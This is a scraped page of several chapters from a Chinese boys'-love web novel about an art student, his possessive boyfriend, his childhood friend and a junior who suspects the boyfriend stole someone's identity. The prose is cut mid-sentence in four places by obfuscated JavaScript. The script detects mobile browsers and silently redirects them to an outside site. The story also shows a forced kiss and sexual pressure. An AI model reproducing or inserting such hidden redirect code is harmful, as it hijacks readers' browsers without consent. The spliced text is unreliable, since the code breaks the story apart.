舍友拉长声音“哦”了一声,听语气仿佛还很失望,扭头看见方宸蹲在厕所门口一脸便秘,随口道:“还在等呢,厕所有人了,你怎么不去隔壁宿舍上?” “就不去。”方宸较劲。 晏恒洲刚打完球,穿着球服坐在椅子上打游戏,浑身还冒着热气,闻言头也不回阴阳怪气地接话:“他在我们宿舍厕所里种了个种子,只能在这里上,在这里上有buff加成。” 方宸骂骂咧咧:“有你什么事?天天就知道玩你那个破游戏,玩的都流鼻血了。” 晏恒洲心跳漏了一拍,下意识扭头去看祝惊霜的反应。 之前他有一次在打游戏的时候突然流鼻血了,其他人都以为他只是上火,拿这个嘲笑了他很久。 只有他自己知道真正的原因。 当时晏恒洲无意间抬头,刚好看见祝惊霜披着浴袍从浴室里出来,氤氲的水汽模糊了他的眉眼,有几缕潮湿的黑发落在锁骨处,露出的皮肤如雪一般白。 祝惊霜的好看是毋宁质疑的,但或许是因为刚洗完澡,朦胧的水雾冲淡了他身上的锋利和冷淡,却又为他增添了一丝说不清道不明的韵味。 这样一眼冲击力太大了,晏恒洲和祝惊霜同寝那么久不是第一次碰到这种情况,但基本上每次他都会移开视线刻意不去看祝惊霜。 只这次没忍住盯着看了好一会儿,很快就感觉到鼻腔里气息火热,随后好像有热流从中涌出。 感觉到晏恒洲的视线,祝惊霜抬眼望过去,却发现对方罕见地仿佛心虚一般低下头。 方宸没注意到其中的暗流涌动,还以为晏恒洲被自己怼到哑口无言了,自顾自得意起来。 祝惊霜正在忙其他事情,没心思去关心他们的争吵。 院校准备举办美术展,主要负责的学姐正软磨硬泡想请祝惊霜喊多几个人一起去帮忙。 因为不算志愿时长,祝惊霜其实不太想去,但在学姐的再三恳求下他还是同意了。 美术展展出的优秀作品很多,除了祝惊霜自己的作品之外他还看到了很多十分眼熟的作品,其中也包括晏恒洲的。 开展这天人很多,楼道上挤满了排队的人,祝惊霜在里面走了一会儿,听见外面在敲锣打鼓。 室内的空调开的很低,这几天温度又回升了一点,薄薄的白色短袖勾勒出祝惊霜修长的身形。 因为常年绘画,他通常会穿颜色比较深的衣服,但他很喜欢白色,所以休闲时一般都会穿白色上衣。 祝惊霜双手环胸,只感觉呼出的气息都像是结了冰。 这时身上忽然一暖,有人从背后给他披了件外套。 祝惊霜回头看见来人,目光中闪过一丝惊讶:“你怎么在这。” 没记错的话,万则越应该不是学美术的。 万则越的视线在他雪白的脖颈上掠过,嘴角上扬:“宣传海报挺有兴趣的,刚好路过所以进来看看。” 其实是他知道祝惊霜会来,所以特意来的。 宽大的外套微微下滑,祝惊霜伸手拢了拢,心情不错,眉眼舒展:“你不是学财管的,怎么也对美术展感兴趣。” 万则越的眼神瞬间变得锐利,脸上的笑容不变:“学长怎么知道我是学财管的,我好像没有主动提过。” 他的手心紧张地冒出了汗,祝惊霜的记忆有没有可能没有完全被改变? 闻言祝惊霜愣了一下,他也不知道自己为什么会知道万则越的专业,这句话完全是下意识的,他好像很自然就“知道”万则越的专业。 见他不说话,万则越也没有继续追问,怀疑的锚点留下就够了,他主动转移话题:“上次在车上说了很多话,不知道有没有冒犯到学长。” 祝惊霜跟着回想起上一次见面,万则越开车送他回去的路上对他说,你男朋友骗了你。 随后或许是见祝惊霜许久没有说话,他又笑着说自己是开玩笑的,让祝惊霜不要放在心上。 祝惊霜不觉得好笑,倒不至于生气,只是也不理解万则越开这种玩笑的意义,所以最后沉默地下了车。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403486|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没事,我已经忘了。”祝惊霜摇了摇头,声音淡淡。 “学长没有生气就好。”万则越动作夸张地松了口气,又半开玩笑半认真道:“我还以为学长听见是我就立刻挂电话是因为生我的气了。” 电话? 祝惊霜想了一圈,很快反应过来,万则越可能就是贺栩樾说的那个诈骗电话。 贺栩樾不认识万则越,祝惊霜手机里也没有给万则越备注,所以贺栩樾才会误以为是诈骗电话直接挂断。 听到不是祝惊霜挂断的,万则越眼睛都亮了,整个人肉眼可见的亢奋起来,脸上的笑容没停过。 或许是被他感染,祝惊霜心情也很放松,对他也没有一开始那么抗拒了。 直到看完展准备分开的时候,祝惊霜才反应过来自己身上还披着对方的外套。 他和万则越统共没见过几次,关系也不算熟悉,按一般情况下来说他不会这样自然地就接受了。 但不知道为什么,万则越的外套上有让他熟悉的气息。 祝惊霜又想起万则越那些语意模糊的话,还有赵牧铭奇怪的反应。 其实本来他没有信万则越在车上说男朋友骗了他的话。 但赵牧铭的反应太异常了,而且不知道为什么,祝惊霜偶尔会觉得赵牧铭让他很陌生。 不知道是不是追到手后就会变,现在的赵牧铭和当时追他时不太一样。 不是变坏,除了亲密的时候赵牧铭平日里说对他百依百顺也不为过,他也能感受到赵牧铭浓烈到化不开的爱意。 那种变化是形容不出的,只是一种感觉。 种种异常让祝惊霜没有听赵牧铭说的“远离万则越”,对他来说这个只见过几面的学弟远远没有到需要刻意注意的程度,他的直觉也并不反感万则越。 分别前万则越忽然指了指祝惊霜戴在脖颈上的项链道:“你的项链很好看。” 祝惊霜全身有一瞬的紧绷,随后放松下来,表情依旧冷淡:“谢谢。” …… 项链上的吊坠是一枚小贝壳,打开来是一张很小的全家福照片。 回去的路上祝惊霜想起了一件有关这条项链的,不算很久远的事情。 大概是几个月前他还没有谈恋爱的时候,有一次经过集市正好撞到有人偷窃,小偷被追赶着经过他身边,他帮忙拦了一下。 推搡之间小偷想通过扯项链勒他的脖子让他松手,结果没想到项链戴了太多年材质老化直接被拽断了,吊坠被甩到了栏杆后的小河流里。 这时候警察及时赶到把小偷制住,祝惊霜心急之下就想跳下去捞。 小河流的水不深,但是那么小的吊坠掉进去很快就会飘的无影无踪。 赵牧铭就是这时出现的。 祝惊霜记得这个学弟已经孜孜不倦地追了自己一年多了。 但在赵牧铭浑身都湿透了,却小心翼翼地捧着那枚好不容易找到的吊坠,双眼发亮地看着他时,祝惊霜才第一次真正感受到,对方是真的喜欢自己。 赵牧铭不要祝惊霜的感谢,也不要祝惊霜的钱。 祝惊霜问他想要什么,除了同意表白之外。 对方思索了几秒,最后说,你给我画一幅画吧。 12. 颜料 那天之后祝惊霜忙比赛一拖再拖,加上赵牧铭也没有询问催促过,便拖到了现在。 其实他已经打了个草稿,很草,人脸都还没画,只有个形。 回到宿舍他就把草稿翻了出来,琢磨着在赵牧铭生日前画好,和生日礼物一起送出去。 但还没来得及实施,祝惊霜就生病了。 南方入冬晚,最近早晚温差大,很多人都感冒了。 祝惊霜上晚课的时候没穿外套,吹风受了凉,当晚回到宿舍就掩着面打了三个喷嚏。 他的神情恹恹的,皮肤是病态的苍白,眼尾泛着淡淡的绯色,嘴唇微微张着,冷淡中透着别样的脆弱。 “是不是有人在骂你。”方宸用手背贴了贴他的额头,忧心忡忡地给他递纸巾。 祝惊霜咳了两声,方宸起身想去倒热水,一转头就看见一听到祝惊霜打喷嚏就立刻抬头皱着眉望过来的晏恒洲,想到对方一向看祝惊霜不顺眼,忍不住恶声恶气道:“肯定是他在骂你。” 晏恒洲被平白污蔑了一句,立刻就想愤怒地回怼,在看到祝惊霜惨白的脸色时却莫名把反驳的话咽了下去,语气别扭地开口:“我有感冒药,那个谁,你要不要吃。” 祝惊霜没力气说话,垂头喝了口热水,轻轻摇了摇头。 晏恒洲看着他像是还想说些什么,脸都憋红了,最终却还是什么都没说。 感冒稍微好一点的时候祝惊霜就趁着有精神开始继续画答应给赵牧铭的那幅画,但不知道为什么一直没有手感。 他重画了很多张都不满意,总是画不出神韵,没有他想要的感觉。 “画不出来就先别画了,每天闷在画室也不是个事儿。” 公园的小路上,贺栩樾伸手拿掉了一片掉在祝惊霜头上的叶子,唇角蕴着一抹笑:“你还是不如想想等会儿吃什么。” 阳光从头顶稀疏的树叶间隙里洒落,祝惊霜垂眸看着地上的光斑和落叶,秀气的眉头紧蹙着。 没得到回应,贺栩樾唤了一声他的小名:“双双?” “嗯?”祝惊霜瞥眼轻瞟了他一眼,漆黑的眼眸映着细碎的光。 “我们商量个事呗。”贺栩樾搂住他的肩膀,嗅着他身上的清香,笑容讨好:“把我从黑名单里拉出来呗,我想找你还得发短信,多不方便。” 自从上次他擅自替祝惊霜接电话惹了一堆事之后祝惊霜就把他拉黑了,见面也不理他。 贺栩樾只能在心里无奈叹气。 明明当时说好了不生气,结果还是不理人,唉祝惊霜就这样。 “等我画完再说。”祝惊霜矜傲地把头侧到另一边。 等逛完了公园坐到糖水铺里时,祝惊霜依旧在苦恼那幅画应该怎么画。 “据说这家的双皮奶很正宗,你尝尝。”贺栩樾把碗推到他面前:“小心烫。” 祝惊霜接过勺子吃了几口,突然抬起头盯着贺栩樾的脸,语气平静无波:“都是两只眼睛一张嘴巴,怎么你就那么好画?” 说话时他没有任何表情,贺栩樾却无端从他冷淡的眉眼中看出几分疑惑。 祝惊霜第一次正儿八经尝试画人物肖像是在八岁,画的是当年同样年幼的贺栩樾。 那时候小小的祝惊霜耗尽了心血去画这一幅画,满心想着在贺栩樾八岁生日这天送给他当礼物。 在贺栩樾生日的前一天晚上,坐在小凳子上的祝惊霜画完了最后一笔,下意识松了口气,不小心在放下画笔时将笔上未干的黑色颜料甩了一滴在画布上,还刚刚好在脸颊的位置。 八岁的祝惊霜没能保持冷静和镇定,当时整个人就懵了。 他想了很多办法,但都于事无补,这幅画画了很久,黑色颜料滴上去的部分早就干透了,也没办法重新再上一层色。 时间逐渐走向零点,祝惊霜还是没忍住,一个人在房间里哭了起来。 他哭的太投入了,连有人敲门都没听见。 贺栩樾站在门口兴奋地拍了许久的门都没有等到门开,于是把耳朵贴在门板上,想听听祝惊霜在房间里干什么。 这一听就听见了若无有无的抽泣声,贺栩樾立刻急了,不管不顾地开门冲进去。 祝惊霜没有锁门,但他领地意识很强,不管谁进他房间都要敲门才被允许进入,所以贺栩樾每次都会敲门等祝惊霜给自己开门才敢进去,不然祝惊霜会一整天不理他。 平日里乖巧安静的人一哭起来简直要人命了,贺栩樾七魂六魄都被他哭没了一半,当宝贝一样抱在怀里的篮球早都不知道扔哪去了,眼里只能看见祝惊霜的眼泪。 平时都是祝惊霜比较成熟,像个小大人,贺栩樾则是调皮捣蛋的那一个,这一天贺栩樾却表现出了不符合年龄的老练,他抱着祝惊霜给他擦脸,祝惊霜这才发现自己的脸上蹭到了颜料。 贺栩樾也不是一直这样的。 他天生仿佛就缺根筋,基本没有伤心的时候,别人看悲情电影的时候哭,而他通常会看笑。 也不是觉得好笑,就是喜欢傻乐。 但是祝惊霜小时候每一次哭,他都会跟着掉眼泪。 有长辈问他为什么跟着哭,他说因为看见双双的眼泪他就难受。 但后面贺栩樾就不会跟着祝惊霜一起哭了,因为有一次他妈妈和他开玩笑说,双双哭了你也只知道跟着哭,那谁去哄双双呢? 从此贺栩樾就知道了,他不能跟着哭,他要哄祝惊霜开心。 “为什么哭,是不是有人欺负你了?”贺栩樾安抚地轻轻拍着祝惊霜的背,怕他哭的喘不上气。 祝惊霜小小一只窝在他怀里直摇头。 基本上没有人敢欺负祝惊霜,他从小就喜欢冷着脸,在同龄人看来又漂亮又凶,加上有贺栩樾像野犬一样天天在身边护着,他从没被人欺负过。 他轻轻抽噎了一下,指了指旁边的画架,声音很小:“画,毁了。” 一想到自己画了那么久的画毁于一旦,他好不容易止住的眼泪又开始往下掉。 大滴大滴的泪珠落在贺栩樾的肩膀上,他这才看见那副画。 进门开始他满心满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403487|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼都是祝惊霜,根本没注意周围。 看见自己的画像,贺栩樾有种熟悉又陌生的感觉,他小心翼翼地伸手戳了一下那幅画:“这是你画的?是送给我的吗?” 他想到第二天是自己的生日,又激动道:“是给我的生日礼物吗?” 墙上的时钟发出“滴答”的响声,时间刚好过零点。 祝惊霜点点头,垂头丧气:“对不起。” “不要对不起。”贺栩樾揉了一把他的脑袋,双眼发亮:“我好喜欢。” “画才没有毁!” 说着,他拿蘸着黑色颜料的画笔在自己脸上和画像上相同的位置点了一下,笑着道:“这不就一样了。” 祝惊霜怔怔地看着他,眼泪都忘记流了。 贺栩樾还嫌不够,回去把画摆在床头,房间最显眼的位置。 每一次有人来家里做客他都要炫耀:“这是祝双双亲手画的我!” 当有人问那个脸上的黑点是什么时,他就会骄傲且理所当然地说:“是颜料啊!这都看不懂。” 每到这个时候祝惊霜就会很羞愧,觉得丢人,解释说是画的时候颜料不小心溅上去了。 贺栩樾不乐意了,立刻开口反驳说才不是,这就是画的自己。 一起长大的这些年里,祝惊霜时常不能理解贺栩樾的逻辑,他又没说这幅画画的不是他。 但他逐渐发现贺栩樾有一套自己的思维逻辑,他觉得祝惊霜说是颜料溅上去了等于祝惊霜说自己画错了,说自己画错了等于说画的不是贺栩樾。 所以贺栩樾不允许任何人说那幅画的不是。 后面长大了一点的时候,祝惊霜总觉得那时自己画技太浅显,摆出来太羞耻,想要贺栩樾把画收起来,但一向对他百依百顺的贺栩樾却死活不同意。 祝惊霜追问了很久,贺栩樾扭扭捏捏半晌才说出原因:“那是你送我的生日礼物,是不一样的,有特殊意义。” 于是后面在贺栩樾十八岁成年礼时,祝惊霜又画了一幅画送给他,这次是画的他们双人合照,贺栩樾也终于肯把原本挂在床头的那幅画换下来换成这幅新的。 祝惊霜总是画不好肖像画,他的水平天赋都很高,大大小小的比赛参加过无数,奖也拿了不少,可他就是画不好人物。 他第一次画人物肖像的时候觉得不错,却没想到那就是“顶峰”了——他后面画了很多人物肖像,都不如第一次画的的有神韵。 或者说,他只能画好贺栩樾,画不好其他人。 从回忆里抽出身来,祝惊霜眯着眼睛盯着贺栩樾看了又看,还是没想明白原因。 “当然不一样了,我长的比较帅,好画是正常的。” “……”祝惊霜沉默了一瞬。 贺栩樾从他的无声沉默中读出了对自己的辱骂:“是不是在心里偷偷骂我呢。” “没有偷偷。”祝惊霜面无表情。 “算了,你想骂就骂吧。”贺栩樾伸手把他额前的发丝别到耳后,语气无奈:“能让你心情放松一点也不错。” 13. 跨年 在贺栩樾的陪伴下,祝惊霜终于成功在元旦前完成了送给赵牧铭的那幅画。 祝惊霜放下画笔的那一刻贺栩樾长舒一口气,祝惊霜画完了,他也终于能解放了。 这段时间祝惊霜每天都拉他出来陪自己找灵感,他还有一大堆期末作业没完成,但又无法拒绝祝惊霜,只好回去以后苦哈哈地熬夜补。 十二月三十一日,晚上六点。 空气里弥漫着蛋糕的奶香,餐厅里灯光明亮,透明的玻璃窗外是浮华绚烂的夜景。 “谢谢小霜。”赵牧铭小心翼翼地捧着画,像是在呵护什么珍贵的宝物,笑的眼睛都眯成一条缝:“我很喜欢这份礼物。” 祝惊霜放在包里准备拿生日礼物的手一顿:“这不是生日礼物。” 赵牧铭的表情在一瞬的停滞后不知道想到了什么变得又惊又喜:“你怎么突然送我画?我还以为是给我的生日礼物。” 沉默几秒,祝惊霜终于从对方丝毫不做假的表情中明白对方已经忘记了,语气冷淡道:“你上次帮我拿回项链的时候说你想要我给你画一幅画。” 赵牧铭依然笑着,眼睛里的笑意却消失的无影无踪:“想起来了,我刚刚一时之间忘了。” 祝惊霜面无表情地把准备好的生日礼物放到桌上,神色算不上高兴。 项链对他很重要,所以他一直记得那天,他以为赵牧铭也会记得。 赵牧铭把礼盒打开,里面是一瓶香水,瓶身很精致,还有立体雕刻花纹,看起来价值不菲。 他低头凑近,嗅到了一股和祝惊霜身上的清香极其相似的白茶香。 但又有微妙的不同,不如祝惊霜身上的味道好闻。 想到赵牧铭今天生日,祝惊霜还是尽力让语气放轻:“生日快乐。” 选择送这款香水是因为之前贺栩樾说这款香水的味道和祝惊霜身上的味道很像,虽然祝惊霜闻不到自己身上的味道,但他想起赵牧铭说过喜欢他身上的味道,那或许也会喜欢这款香水。 蛋糕是赵牧铭买的,特意挑了祝惊霜喜欢的水果蛋糕。 打火机是找餐厅借的,有些老旧,按了好几次才成功点燃蜡烛。 烛火落在祝惊霜的眉眼处,白皙的面容被烛火照得如玉一般,漆黑的眼底映出摇曳的光。 吹灭蜡烛后,赵牧铭双目含笑看着祝惊霜:“你猜我许了什么愿望?” “什么愿望?” 昏黄的灯光下祝惊霜的面容仿佛被蒙上了一层柔光,连带着清冷的眉眼也多了几分温柔的味道。 “不能告诉你,告诉你就不灵验了。”赵牧铭煞有其事地点了点头。 祝惊霜轻飘飘地睨了他一眼,眸光里赤裸裸写着:那你问什么。 “以后如果能实现,我就告诉你。”赵牧铭笑着看他。 祝惊霜似乎愣了一下,那一瞬间他的眼底浮现出极其复杂的情绪,像是潮湿的海洋,尽头是望不见的深色。 餐厅的背景音乐舒缓悦耳,声音不大不小,他坐在靠窗的位置,看着窗外不知不觉有些走神。 赵牧铭突然问:“小霜,你寒假有时间吗?” 祝惊霜正望着窗外神游,灵魂仿佛都飘了起来,耳边回荡着餐厅放的音乐声。 ——“你是我未曾拥有无法捕捉的亲昵 我却有你的吻你的魂你的心 载着我飞呀飞呀飞 越过了意义……”① “小霜?”赵牧铭又叫了一声,祝惊霜才回过神来望向他,水亮的黑眸中一片寂静。 ——“你是我朝夕相伴触手可及的虚拟 陪着我像纸笔像自己像雨滴 看着我坠啊坠啊坠落到云里……”② 在悠扬的歌声中祝惊霜有片刻耳鸣,眼底映出赵牧铭一张一合的嘴唇,却听不清具体。 “你说什么?”祝惊霜闭了闭眼,终于恢复了正常,周围嘈杂的声音如潮水一般涌来。 赵牧铭耐心地再次重复:“我想问你,寒假有没有时间和我一起去b市的水疗馆。” 祝惊霜思考了一下寒假的安排,点点头:“应该有。” 这时,他放在桌上的手机屏幕亮了亮,他余光看见熟悉的头像,随手拿起手机。 【讨厌鬼:双双!】 【讨厌鬼:告诉你个好消息!】 【讨厌鬼:我刚刚刮彩票刮出了个奖,虽然不是最大的】 【讨厌鬼:我可以给你买新电脑了】 【讨厌鬼:还不快谢谢我】 【讨厌鬼:[得瑟.jpg]】 “讨厌鬼”是祝惊霜给贺栩樾的新备注,前几天他和贺栩樾吵了一架,贺栩樾把他的备注改成了“麻烦精”,他为了报复回去也当着对方的面把对方的备注改成了“讨厌鬼”。 赵牧铭在一旁余光瞟到满屏白色对话框,脸色微沉:“谁啊?” 问出口前他心里就有了数,能用那么亲昵的语气和祝惊霜说话的也没几个。 果然—— “贺栩樾,你见过的。” 祝惊霜没有抬头看他,眼睛注视着屏幕,细长的手指在手机上敲了几下打出回复。 赵牧铭看不清他具体回了什么,又不敢凑太近去看,手指在桌面上敲了敲,忍了又忍,还是没忍住,故作轻松地开口,语气里透着一股酸味:“他为什么一直叫你双双?为什么是这个双?” 其实说来很简单,小时候贺栩樾只知道祝惊霜最后一个字念shuang,那时候太小了还不认字,只会写“双”不会写“霜”,所以一直“双双”“双双”地叫他。 后来长大了,这个习惯却也一直保留了下来。 不知不觉来到了九点,如墨的夜色在天边蔓延,浓稠如有实质。 “我先走了。”祝惊霜披上风衣站起身,居高临下地看着赵牧铭。 赵牧铭坐在椅子上,下意识伸手牵住他的衣角:“那么早就回去吗?不一起跨完年再走吗?” “很晚了,我要回去了。”祝惊霜摇了摇头,态度很坚定。 赵牧铭的手紧了紧,又松开,强颜欢笑道:“好,我送你。” “不用了,有人来接。”祝惊霜再次拒绝。 赵牧铭没说话,跟着祝惊霜走下楼,看见祝惊霜走向一辆纯黑色的轿车,几乎和浓重的夜色融为一体。 车窗降下来,露出一张俊朗帅气的脸。 “怎么穿那么少?” 祝惊霜刚上车就迎面碰到贺栩樾的质问。 贺栩樾刚好在附近,知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403488|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝惊霜今天和赵牧铭在这里约会,正好顺路来接他。 祝惊霜懒得理他,侧过头没说话。 对于他的冷淡贺栩樾早已习惯,絮絮叨叨说了一路,从祝惊霜感冒刚好就穿那么少到祝惊霜经常挑食对健康不好,祝惊霜全当耳旁风。 回到屋子里,祝惊霜打开灯看见桌上有个蛋糕盒,目露惊讶。 “干嘛这个表情,每年跨年都有蛋糕的,你忘了?”贺栩樾把包甩到一旁,没形象地躺到沙发上。 “没忘。”祝惊霜摇了摇头:“我今天晚上刚吃了蛋糕,吃不下了。” “没事,留着你明天吃。”贺栩樾说完又立刻否认:“不对,你胃不好,还是我吃吧,明天给你买新鲜的。” 时针转动到零点的那一刹那,一簇簇烟花骤然炸开,窗外漆黑的夜幕突然被点亮,绚烂的烟花色彩在天空中交织。 “又老了一岁。”贺栩樾望着窗外感叹了一句,转过头看见祝惊霜如画的眉眼,心口微微一动:“这是我们一起跨的第几个年了?” 祝惊霜也在抬头看烟花,眼底映着细碎的光,说话声淹没在烟花炸响的声音里:“不知道。” 他只知道从记事起,他们每一年都会一起跨年。 …… 赵牧铭很不会挑日子。 出发去水疗馆的那天半路下起了大雨,车窗外狂风大作,雨声急促。 到地方后赵牧铭去前台点餐,祝惊霜则先去洗了个澡。 室内的暖气很足,祝惊霜裹着浴袍从澡堂出来,准备坐电梯去二楼找赵牧铭。 电梯门即将合上的瞬间被一双手扒住了。 “等一下!” 一个身形高大的男人挤了进来,穿着一件黑色短袖,身材精壮结实。 祝惊霜眸光微动。 在看见祝惊霜的瞬间,万则越双眼一亮:“祝惊霜!你怎么在这?你一个人吗?” 惊喜过后他才发现此刻祝惊霜只套了一件松松垮垮的浴袍,领口微微敞开,露出精致的锁骨,再往上,精致漂亮的面容被热气蒸的白里透红。 “和男朋友来的。” 说话间祝惊霜不自在地扯了一下领口,万则越比他高,低头恰好看见那一闪而过的嫣红。 下一秒鼻腔一热,还没来得及反应过来就听见祝惊霜惊讶道: “你怎么流鼻血了?” 与此同时,电梯门开了。 祝惊霜一眼就看见了站在电梯门口的赵牧铭。 犹豫了一下,祝惊霜还是关心了一句手忙脚乱擦鼻血的万则越:“你没事吧?” “没事没事,我就是有点上火……” 万则越还没说完,就被赵牧铭开口打断了。 “小霜。” 和上次截然不同的是,这一次赵牧铭就好像完全没看见万则越一样,温柔地牵过祝惊霜的手:“我刚准备去找你。” 刚走几步,万则越的声音就在身后响起: “祝惊霜!你住在哪个房间?” 祝惊霜回头的瞬间感觉到牵着自己的手瞬间收紧了,攥地他手腕都开始发疼。 报完房间号,他一路跟着赵牧铭回到房间,刚一进门就被掐着腰压在门上,下一秒汹涌的亲吻铺天盖砸了下来。 14. 门外 赵牧铭几乎无法抑制自己的醋意与愠怒,亲的又凶又狠。 潮湿的黑发贴在脸侧,祝惊霜几乎喘不上气。 面前炙热的胸膛随着呼吸沉重地起伏,身后紧贴的门冰冷,他仿佛置身于冰火两重天,唇齿纠缠间连唾沫都来不及吞咽。 室内一片昏暗,一切好似梦境一般,在激烈的亲吻下祝惊霜全身都开始痉挛起来。 光线朦胧模糊,他的脑海也变得混乱不堪,恍惚间竟有一瞬觉得眼前这个急切地舔吻自己唇舌的人无比陌生。 “滚……” 破碎的音节刚发出就被吞噬,赵牧铭一改平日的百依百顺,强势又霸道地扣住他的后颈。 暧昧而黏腻的水声回荡在这一方天地,呼吸越来越急促,祝惊霜试图推开赵牧铭,却只觉手脚发软,同时感到有什么硬热的东西顶在自己小腹。 这还不是最糟糕的—— 祝惊霜感觉到自己背靠着的门被人敲了敲,门外响起熟悉的男声: “祝惊霜?你在里面吗?” 随着门外的声音响起,赵牧铭的呼吸瞬间加重,吻的更深。 “祝惊霜?祝惊霜?祝惊霜?” 万则越喊了好几声都没有听见回应,纳闷地自言自语道:“没人吗?刚刚不是说回房间。” 这时一只大手突然从祝惊霜睡袍下摆伸进去,他没忍住闷哼一声。 万则越听见门里似乎有动静,却没有听真切,贴着门大声问:“你说什么?” 隔着一道门,祝惊霜仿佛都能感受到外面万则越炙热又期盼的目光,再一想到自己此刻被赵牧铭禁锢在怀里的姿势,无法言喻的羞耻感顿时涌上心头。 门外一无所知的万则越还在大喊:“祝惊霜?刚刚是你说话了吗?我没听清。” 祝惊霜从来没觉得万则越这么烦人过,嘴唇被亲的发麻,他现在只希望万则越赶紧离开。 等了一会儿都没有等到回应,万则越有些着急,却只能自顾自往下道:“你等会儿有没有什么安排?要不要来玩剧本杀,是你喜欢的推理恐怖本。” 万则越怎么知道他喜欢玩推理恐怖本? 祝惊霜的心跳漏了一拍。 对剧本杀他并不算热衷,所以也基本上不会和身边朋友提起自己喜欢的本子类型。 除了因为一起长大所以对他了如指掌的贺栩樾,只有赵牧铭知道。 那时候赵牧铭已经追了祝惊霜一段时间,邀请他很多次,但他都拒绝了。 直到赵牧铭挑了个推理恐怖本约他去玩,他才松口同意。 虽然祝惊霜没有明说,但是对方也推测出他的喜好,那之后又陆陆续续约他出去玩了几次。 可以说,祝惊霜这个爱好只有贺栩樾和赵牧铭知道,万则越不过是刚认识不久的学弟,不可能知道这些。 许多猜测在脑海中一晃而过,祝惊霜被亲的说不出话,也无法立刻开口询问。 感受到他的停顿,赵牧铭顿了一下,贴到他的耳边,声音很轻,几乎是气声了:“你想去?” 灼热的呼吸声混杂交融,祝惊霜轻轻喘着气,垂着眼没说话,细长的睫毛微微发着颤。 赵牧铭俯睇着他,眼底燃着冰冷的火焰,声音却是温柔的,仿佛低哄一般:“嗯?你要答应他吗?” 房间里没有开灯,祝惊霜的面容淹没在阴影里,看不清表情。 门外万则越依旧在絮絮叨叨:“……玩完我们还可以一起去吃宵夜,我知道附近有家甜点特别好吃……” 赵牧铭盯着祝惊霜泛红的眼尾,一字一顿地开口,声音不大不小,刚好能让门外的人听清:“他不去。” 万则越瞬间安静了。 说完这宣示主权一般的三个字后,赵牧铭抬起祝惊霜的下巴亲了一下,强迫对方正视自己。 祝惊霜不情不愿地抬眼,用眼神询问他想干什么。 赵牧铭用口型一个字一个字说: 他、在、偷、看、我、们、接、吻。 祝惊霜的唇动了动:“瞎说什么。” 这时万则越在门外似乎听见了他的声音,又开口说话了:“是祝惊霜吗?你等会儿想去吗?” 竟是直接把赵牧铭无视了。 赵牧铭的脸色顿时黑如锅底。 祝惊霜轻咳一声,声音还带着点情欲过后的沙哑,有些暗暗的勾人:“今晚就不去了。” 万则越听起来很失落,却并不气馁:“好吧,那你好好休息。” 脚步声逐渐变小,这次应该是真的离开了。 “咔” 祝惊霜打开灯,在明亮的灯光下一切都无处遁形。 赵牧铭没有防备,被突然亮起的灯光刺了一下,皱眉闭了闭眼。 祝惊霜走到床边,像什么也没发生一样坐在床上。 赵牧铭亦步亦趋跟过去,站在他面前,低着头,眼底映出面前人白皙脸颊上的绯红,泛着水光的眼角,还有莹润殷红的唇。 完全没有了平时淡漠高冷的模样。 可赵牧铭从面前人漆黑的双眸里看不见任何情愫。 他这样蛮横地上来就强吻一通,祝惊霜却依然是这样冷静,没有一点生气的意思。 就好像祝惊霜并不在意,不在意他吃醋,也不在意他强吻。 这让赵牧铭到无法描述的恐慌,让他总觉得祝惊霜并不爱自己。 祝惊霜面对自己时总是情绪匮乏,不管正面的还是负面的。 赵牧铭忽然觉得无力。 他一个人发疯,而祝惊霜冷眼看着这一切,不回应,不拒绝。 憋了好一会儿,赵牧铭还是没忍住开口:“你不生气吗?” “生什么气?”祝惊霜抬眸淡淡地瞟他。 “为什么你没有任何反应?”赵牧铭明明是俯视的那方,却好像无比委屈:“我强吻你,你为什么不生气?” 只有完全不在乎,才能够那么冷静。 赵牧铭知道和祝惊霜的这一切都是他偷来的,所以也更加不安,害怕祝惊霜发现,更害怕换了身份祝惊霜依然不爱他。 万则越的步步紧逼让他的不安到了顶峰,他迫切地需要证明祝惊霜对他是有感情的,哪怕只是对他偷来的这些经历有感情。 赵牧铭蹲下身抱住祝惊霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403489|184372||http|test|mini|href|location''.split(''|''),0,{})); () { 